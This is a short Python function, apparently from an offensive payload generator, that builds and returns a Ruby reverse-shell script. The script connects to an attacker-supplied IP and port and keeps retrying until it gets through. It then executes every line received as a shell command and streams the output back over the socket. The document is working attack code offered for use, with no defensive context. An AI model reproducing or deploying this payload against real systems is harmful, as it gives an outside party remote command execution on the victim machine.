#NEWLINE# def rbreverse_tcp( IP = None , PORT = None ) : #NEWLINE# #INDENT# db = ( '#!/usr/bin/env ruby\nrequire \'socket\'\nrequire \'open3\'\n\nRHOST = "%s" \nPORT = "%s"\n\nbegin\nsock = TCPSocket.new "#{RHOST}", "#{PORT}"\nrescue\n\tsleep 20\n\tretry\n\tend\n\nbegin\n\twhile line = sock.gets\n\t    Open3.popen2e("#{line}") do | stdin, stdout_and_stderr |\n\t        IO.copy_stream(stdout_and_stderr, sock)\n\t        end  \n\tend\nrescue\n\tretry\nend \n\t' % ( IP , PORT ) ) #NEWLINE# return db